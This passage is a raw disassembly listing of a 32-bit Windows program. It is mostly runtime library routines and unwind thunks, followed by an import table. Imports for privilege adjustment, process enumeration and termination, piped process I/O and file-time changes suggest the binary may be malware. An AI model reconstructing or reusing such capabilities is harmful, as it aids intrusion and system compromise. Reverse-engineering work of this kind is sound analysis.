[edi], 0 lea eax, [edi+4] jz short loc_42E768 loc_42E75E: ; CODE XREF: sub_42E747+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_42E75E loc_42E768: ; CODE XREF: sub_42E747+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_422F79 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_42E789 push 9 call sub_424FCB pop ecx loc_42E789: ; CODE XREF: sub_42E747+38j mov eax, [edi] mov ebx, edi loc_42E78D: ; CODE XREF: sub_42E747+5Bj test eax, eax jz short loc_42E7A4 push eax add ebx, 4 call sub_42EBAE mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_42E78D ; --------------------------------------------------------------------------- loc_42E7A4: ; CODE XREF: sub_42E747+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42E747 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+10h] or ecx, ecx jz loc_42E8AA mov esi, [ebp+8] mov edi, [ebp+0Ch] lea eax, dword_6314C0 cmp dword ptr [eax+8], 0 jnz short loc_42E821 mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_42E7DC: ; CODE XREF: .text:0042E803j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_42E805 or al, al jz short loc_42E805 inc esi inc edi cmp ah, bh jb short loc_42E7F4 cmp ah, bl ja short loc_42E7F4 add ah, dh loc_42E7F4: ; CODE XREF: .text:0042E7ECj ; .text:0042E7F0j cmp al, bh jb short loc_42E7FE cmp al, bl ja short loc_42E7FE add al, dh loc_42E7FE: ; CODE XREF: .text:0042E7F6j ; .text:0042E7FAj cmp ah, al jnz short loc_42E80F dec ecx jnz short loc_42E7DC loc_42E805: ; CODE XREF: .text:0042E7E2j ; .text:0042E7E6j xor ecx, ecx cmp ah, al jz loc_42E8AA loc_42E80F: ; CODE XREF: .text:0042E800j mov ecx, 0FFFFFFFFh jb loc_42E8AA neg ecx jmp loc_42E8AA ; --------------------------------------------------------------------------- loc_42E821: ; CODE XREF: .text:0042E7D1j lock inc dword_63198C cmp dword_631988, 0 jg short loc_42E835 push 0 jmp short loc_42E84E ; --------------------------------------------------------------------------- loc_42E835: ; CODE XREF: .text:0042E82Fj lock dec dword_63198C mov ebx, ecx push 13h call sub_428436 mov dword ptr [esp], 1 mov ecx, ebx loc_42E84E: ; CODE XREF: .text:0042E833j xor eax, eax xor ebx, ebx mov edi, edi loc_42E854: ; CODE XREF: .text:0042E87Dj mov al, [esi] or eax, eax mov bl, [edi] jz short loc_42E87F or ebx, ebx jz short loc_42E87F inc esi inc edi push ecx push eax push ebx call sub_42A7A0 mov ebx, eax add esp, 4 call sub_42A7A0 add esp, 4 pop ecx cmp eax, ebx jnz short loc_42E885 dec ecx jnz short loc_42E854 loc_42E87F: ; CODE XREF: .text:0042E85Aj ; .text:0042E85Ej xor ecx, ecx cmp eax, ebx jz short loc_42E88E loc_42E885: ; CODE XREF: .text:0042E87Aj mov ecx, 0FFFFFFFFh jb short loc_42E88E neg ecx loc_42E88E: ; CODE XREF: .text:0042E883j ; .text:0042E88Aj pop eax or eax, eax jnz short loc_42E89C lock dec dword_63198C jmp short loc_42E8AA ; --------------------------------------------------------------------------- loc_42E89C: ; CODE XREF: .text:0042E891j mov ebx, ecx push 13h call sub_428497 add esp, 4 mov ecx, ebx loc_42E8AA: ; CODE XREF: .text:0042E7BBj ; .text:0042E809j ... mov eax, ecx pop ebx pop esi pop edi leave retn ; =============== S U B R O U T I N E ======================================= sub_42E8B1 proc near ; CODE XREF: sub_42D6D7+68p ; sub_42D6D7+B9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi mov ecx, eax and eax, 1Fh sar ecx, 5 lea eax, [eax+eax*8] mov esi, 8000h mov ecx, dword_6319E0[ecx*4] lea edx, [ecx+eax*4+4] mov cl, [ecx+eax*4+4] mov al, cl and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_42E8E7 and cl, 7Fh jmp short loc_42E8F4 ; --------------------------------------------------------------------------- loc_42E8E7: ; CODE XREF: sub_42E8B1+2Fj cmp [esp+4+arg_4], 4000h jnz short loc_42E902 or cl, 80h loc_42E8F4: ; CODE XREF: sub_42E8B1+34j neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42E902: ; CODE XREF: sub_42E8B1+3Ej call sub_426528 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh pop esi retn sub_42E8B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E912 proc near ; CODE XREF: sub_42E02D+165p ; sub_42EB32+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_42EB12 cmp cx, 7FFFh jnb loc_42EB12 cmp dx, 0BFFDh ja loc_42EB12 cmp dx, 3FBFh ja short loc_42E97B xor eax, eax jmp short loc_42E9B5 ; --------------------------------------------------------------------------- loc_42E97B: ; CODE XREF: sub_42E912+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_42E99D inc [ebp+arg_0] test [esi+8], edx jnz short loc_42E99D xor eax, eax cmp [esi+4], eax jnz short loc_42E99F cmp [esi], eax jnz short loc_42E99F jmp loc_42EB0C ; --------------------------------------------------------------------------- loc_42E99D: ; CODE XREF: sub_42E912+71j ; sub_42E912+79j xor eax, eax loc_42E99F: ; CODE XREF: sub_42E912+80j ; sub_42E912+84j cmp cx, ax jnz short loc_42E9C2 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_42E9C2 cmp [ebx+4], eax jnz short loc_42E9C2 cmp [ebx], eax jnz short loc_42E9C2 loc_42E9B5: ; CODE XREF: sub_42E912+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_42EB2D ; --------------------------------------------------------------------------- loc_42E9C2: ; CODE XREF: sub_42E912+90j ; sub_42E912+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_42E9D2: ; CODE XREF: sub_42E912+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_42EA26 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_42E9EE: ; CODE XREF: sub_42E912+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_42D9BB add esp, 0Ch test eax, eax jz short loc_42EA19 mov eax, [ebp+var_4] inc word ptr [eax] loc_42EA19: ; CODE XREF: sub_42E912+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_42E9EE loc_42EA26: ; CODE XREF: sub_42E912+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_42E9D2 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_42EA69 loc_42EA44: ; CODE XREF: sub_42E912+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_42EA62 lea eax, [ebp+var_24] push eax call sub_42DA3A add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_42EA44 loc_42EA62: ; CODE XREF: sub_42E912+136j cmp word ptr [ebp+arg_0], 0 jg short loc_42EAA2 loc_42EA69: ; CODE XREF: sub_42E912+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_42EAA2 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_42EA82: ; CODE XREF: sub_42E912+184j test byte ptr [ebp+var_24], 1 jz short loc_42EA8B inc [ebp+var_14] loc_42EA8B: ; CODE XREF: sub_42E912+174j lea eax, [ebp+var_24] push eax call sub_42DA68 dec ebx pop ecx jnz short loc_42EA82 cmp [ebp+var_14], 0 jz short loc_42EAA2 or byte ptr [ebp+var_24], 1 loc_42EAA2: ; CODE XREF: sub_42E912+155j ; sub_42E912+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_42EAB9 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_42EAEE loc_42EAB9: ; CODE XREF: sub_42E912+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_42EAEB and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_42EAE6 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_42EAE0 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_42EAEE ; --------------------------------------------------------------------------- loc_42EAE0: ; CODE XREF: sub_42E912+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_42EAEE ; --------------------------------------------------------------------------- loc_42EAE6: ; CODE XREF: sub_42E912+1B5j inc [ebp+var_20+2] jmp short loc_42EAEE ; --------------------------------------------------------------------------- loc_42EAEB: ; CODE XREF: sub_42E912+1ABj inc [ebp+var_24+2] loc_42EAEE: ; CODE XREF: sub_42E912+1A5j ; sub_42E912+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_42EB12 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_42EB0C: ; CODE XREF: sub_42E912+86j mov [esi+0Ah], ax jmp short loc_42EB2D ; --------------------------------------------------------------------------- loc_42EB12: ; CODE XREF: sub_42E912+42j ; sub_42E912+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_42EB2D: ; CODE XREF: sub_42E912+ABj ; sub_42E912+1FEj pop edi pop esi pop ebx leave retn sub_42E912 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EB32 proc near ; CODE XREF: sub_42DB5C+440p ; sub_42E02D+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_44C230 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_42EBAB jge short loc_42EB5A mov eax, [ebp+arg_4] mov ebx, offset dword_44C390 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_42EB5A: ; CODE XREF: sub_42EB32+16j cmp [ebp+arg_8], ecx jnz short loc_42EB65 mov eax, [ebp+arg_0] mov [eax], cx loc_42EB65: ; CODE XREF: sub_42EB32+2Bj cmp [ebp+arg_4], ecx jz short loc_42EBAB push esi push edi loc_42EB6C: ; CODE XREF: sub_42EB32+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_42EBA4 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_42EB97 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_42EB97: ; CODE XREF: sub_42EB32+57j push esi push [ebp+arg_0] call sub_42E912 pop ecx pop ecx xor ecx, ecx loc_42EBA4: ; CODE XREF: sub_42EB32+49j cmp [ebp+arg_4], ecx jnz short loc_42EB6C pop edi pop esi loc_42EBAB: ; CODE XREF: sub_42EB32+14j ; sub_42EB32+36j pop ebx leave retn sub_42EB32 endp ; =============== S U B R O U T I N E ======================================= sub_42EBAE proc near ; CODE XREF: sub_41F167+21p ; sub_42E747+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42EBD5 push esi call sub_422120 inc eax push eax call sub_422F79 pop ecx test eax, eax pop ecx jz short loc_42EBD5 push esi push eax call sub_423260 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42EBD5: ; CODE XREF: sub_42EBAE+7j ; sub_42EBAE+1Aj xor eax, eax pop esi retn sub_42EBAE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42EBE0 proc near ; CODE XREF: sub_41FD0C+4Ap jmp dword_42F25C sub_42EBE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42EBE6 proc near ; CODE XREF: sub_41FD0C+33p jmp dword_42F260 sub_42EBE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42EBEC proc near ; CODE XREF: sub_41FD0C+Fp jmp dword_42F258 sub_42EBEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42EBF2 proc near ; CODE XREF: sub_4236D2+23p ; sub_423978+13p jmp dword_42F1F4 sub_42EBF2 endp ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_40D58A ; --------------------------------------------------------------------------- loc_42EC00: ; DATA XREF: sub_40D75Ao mov eax, offset dword_42FD90 jmp loc_423721 ; --------------------------------------------------------------------------- align 4 loc_42EC0C: ; DATA XREF: .text:0042FDB8o lea ecx, [ebp-24h] jmp sub_40F08A ; --------------------------------------------------------------------------- lea ecx, [ebp-34h] jmp sub_40D58A ; --------------------------------------------------------------------------- mov eax, [ebp-14h] and eax, 1 test eax, eax jz locret_42EC32 mov ecx, [ebp+8] jmp sub_40D58A ; --------------------------------------------------------------------------- locret_42EC32: ; CODE XREF: .text:0042EC24j retn ; --------------------------------------------------------------------------- loc_42EC33: ; DATA XREF: sub_40D810o mov eax, offset dword_42FDC4 jmp loc_423721 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-1Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- loc_42EC48: ; DATA XREF: sub_40DA0Eo mov eax, offset dword_42FDE8 jmp loc_423721 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-1Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- loc_42EC5C: ; DATA XREF: .text:0042FE10o lea ecx, [ebp-3Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- loc_42EC64: ; DATA XREF: .text:0042FE18o lea ecx, [ebp-3Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- loc_42EC6C: ; DATA XREF: .text:0042FE20o lea ecx, [ebp-5Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-4Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- loc_42EC84: ; DATA XREF: .text:0042FE38o lea ecx, [ebp-3Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-4Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- loc_42EC94: ; DATA XREF: .text:0042FE48o lea ecx, [ebp-3Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-4Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-5Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- loc_42ECAC: ; DATA XREF: .text:0042FE60o lea ecx, [ebp-3Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-4Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-5Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- loc_42ECC4: ; DATA XREF: .text:0042FE78o lea ecx, [ebp-4Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-5Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- loc_42ECD4: ; DATA XREF: .text:0042FE88o lea ecx, [ebp-4Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- loc_42ECDC: ; DATA XREF: .text:0042FE90o lea ecx, [ebp-2Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-5Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-5Ch] jmp sub_40D58A ; --------------------------------------------------------------------------- loc_42ECF4: ; DATA XREF: sub_40DB4Bo mov eax, offset dword_42FEA4 jmp loc_423721 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-1F4h] jmp sub_40F05F ; --------------------------------------------------------------------------- loc_42ED0B: ; DATA XREF: .text:0042FECCo lea ecx, [ebp-30h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-0CCh] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-0ACh] jmp sub_40F05F ; --------------------------------------------------------------------------- lea ecx, [ebp-0F0h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-44h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-0BCh] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-58h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-394h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-374h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-204h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-384h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-110h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-304h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-244h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-264h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-160h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-170h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-3A4h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-140h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-344h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-2C4h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-2E4h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-0E0h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-1A0h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-234h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-130h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-274h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-254h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-294h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-150h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-190h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-2D4h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-120h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-314h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-2F4h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-334h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-100h] jmp sub_40D58A ; --------------------------------------------------------------------------- lea ecx, [ebp-180h] jmp sub_40D58A ; --------------------------------------------------------------------------- loc_42EEAC: ; DATA XREF: .text:loc_40DF88o mov eax, offset dword_430040 jmp loc_423721 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_40F13B ; --------------------------------------------------------------------------- loc_42EEC0: ; DATA XREF: sub_40F0E1o mov eax, offset dword_4300D8 jmp loc_423721 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-14h] jmp sub_423BAB ; --------------------------------------------------------------------------- loc_42EED4: ; DATA XREF: sub_40F1B0o mov eax, offset dword_4300FC jmp loc_423721 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_423BAB ; --------------------------------------------------------------------------- loc_42EEE8: ; DATA XREF: sub_40F389o mov eax, offset dword_43013C jmp loc_423721 ; --------------------------------------------------------------------------- align 4 loc_42EEF4: ; DATA XREF: sub_40F66Bo mov eax, offset dword_43018C jmp loc_423721 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-10h] jmp loc_417816 ; --------------------------------------------------------------------------- loc_42EF08: ; DATA XREF: .text:004301B4o lea ecx, [ebp-20h] jmp loc_417816 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp loc_417816 ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_417816 ; --------------------------------------------------------------------------- loc_42EF20: ; DATA XREF: sub_416208o mov eax, offset dword_4301C8 jmp loc_423721 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-1Ch] jmp sub_419912 ; --------------------------------------------------------------------------- loc_42EF34: ; DATA XREF: sub_418010o mov eax, offset dword_4301EC jmp loc_423721 ; --------------------------------------------------------------------------- align 10h push dword ptr [ebp-10h] call sub_421C78 pop ecx retn ; --------------------------------------------------------------------------- loc_42EF4A: ; DATA XREF: sub_41CE88o mov eax, offset dword_430210 jmp loc_423721 ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40F13B ; --------------------------------------------------------------------------- loc_42EF5C: ; DATA XREF: sub_421C83o mov eax, offset dword_430270 jmp loc_423721 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_423BAB ; --------------------------------------------------------------------------- loc_42EF70: ; DATA XREF: sub_421CDDo mov eax, offset dword_430298 jmp loc_423721 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_40F13B ; --------------------------------------------------------------------------- loc_42EF84: ; DATA XREF: sub_421D6Bo mov eax, offset dword_4302C0 jmp loc_423721 ; --------------------------------------------------------------------------- align 10h dd 1Ch dup(0) dword_42F000 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_42F004 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKeydword_42F008 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_4177A2+25r dword_42F00C dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_42F010 dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessTokendword_42F014 dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueAdword_42F018 dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivilegesdword_42F01C dd 77DF08D5h ; resolved to->ADVAPI32.GetSecurityInfodword_42F020 dd 77E215D9h ; resolved to->ADVAPI32.SetEntriesInAclAdword_42F024 dd 77DF087Fh ; resolved to->ADVAPI32.SetSecurityInfodword_42F028 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA align 10h dword_42F030 dd 7C80992Fh ; resolved to->KERNEL32.LocalFree ; sub_41B575+95r ... dword_42F034 dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFile ; sub_401EA5+43r ... dword_42F038 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_401E76+1Ar ... dword_42F03C dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFile ; sub_401EA5+69r ... dword_42F040 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_414508+83r ... dword_42F044 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_403B2C+8C5r ... dword_42F048 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_41BF58+27r dword_42F04C dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_403625+74r ... dword_42F050 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_41F331+17r dword_42F054 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_4128D4+1A7r ... dword_42F058 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_426D61+2Ar dword_42F05C dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_42F060 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_40CDE2+9Br ... dword_42F064 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_403B2C+44ABr ... dword_42F068 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_403B2C:loc_4046F6r ... dword_42F06C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_40CDE2+64Fr ... dword_42F070 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiA ; sub_417A90+98r ... dword_42F074 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_4120E9+6Dr ... dword_42F078 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_40CDE2+5ECr ... dword_42F07C dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_4127E6+94r ... dword_42F080 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; sub_410AB7+2Cr ... dword_42F084 dd 7C8024A7h ; resolved to->KERNEL32.ReleaseMutex ; sub_41F455+C6r dword_42F088 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_4130E5+4E7r ... dword_42F08C dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_4130E5+2CDr ... dword_42F090 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_42F094 dd 7C8308ADh ; resolved to->KERNEL32.CreateEventA ; sub_41391C+62Ar dword_42F098 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; .text:00413685r ... dword_42F09C dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA ; sub_4130E5+398r ... dword_42F0A0 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_4130E5+4C3r ... dword_42F0A4 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_429BA7+20Dr ... dword_42F0A8 dd 7C830D74h ; resolved to->KERNEL32.lstrcmpA ; sub_416208+37Cr ... dword_42F0AC dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcess ; sub_42CACA+1B9r dword_42F0B0 dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipedword_42F0B4 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_42F0B8 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipedword_42F0BC dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_41740C+1Ar dword_42F0C0 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryA ; sub_41EF5E+18r ... dword_42F0C4 dd 7C8217ACh ; resolved to->KERNEL32.CreateDirectoryA ; sub_414CF1+188r dword_42F0C8 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeAdword_42F0CC dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExAdword_42F0D0 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_4154DA+5Ar ... dword_42F0D4 dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_415EA7+BEr ... dword_42F0D8 dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_42F0DC dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_416208+6C9r ... dword_42F0E0 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemorydword_42F0E4 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_417989+83r ... dword_42F0E8 dd 7C8643B5h ; resolved to->KERNEL32.Module32Nextdword_42F0EC dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_418614+1A1r ... dword_42F0F0 dd 7C864230h ; resolved to->KERNEL32.Module32Firstdword_42F0F4 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_42F0F8 dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_42F0FC dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_42F100 dd 7C8098EBh ; resolved to->KERNEL32.GetCurrentThread ; sub_418812+1Cr dword_42F104 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_42F108 dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatAdword_42F10C dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatAdword_42F110 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_41FE93+4Br dword_42F114 dd 7C80998Dh ; resolved to->KERNEL32.LocalAllocdword_42F118 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTime ; sub_41FE93+531r dword_42F11C dd 7C831C45h ; resolved to->KERNEL32.GetFileTime ; sub_41FE93+1B4r dword_42F120 dd 7C8216A4h ; 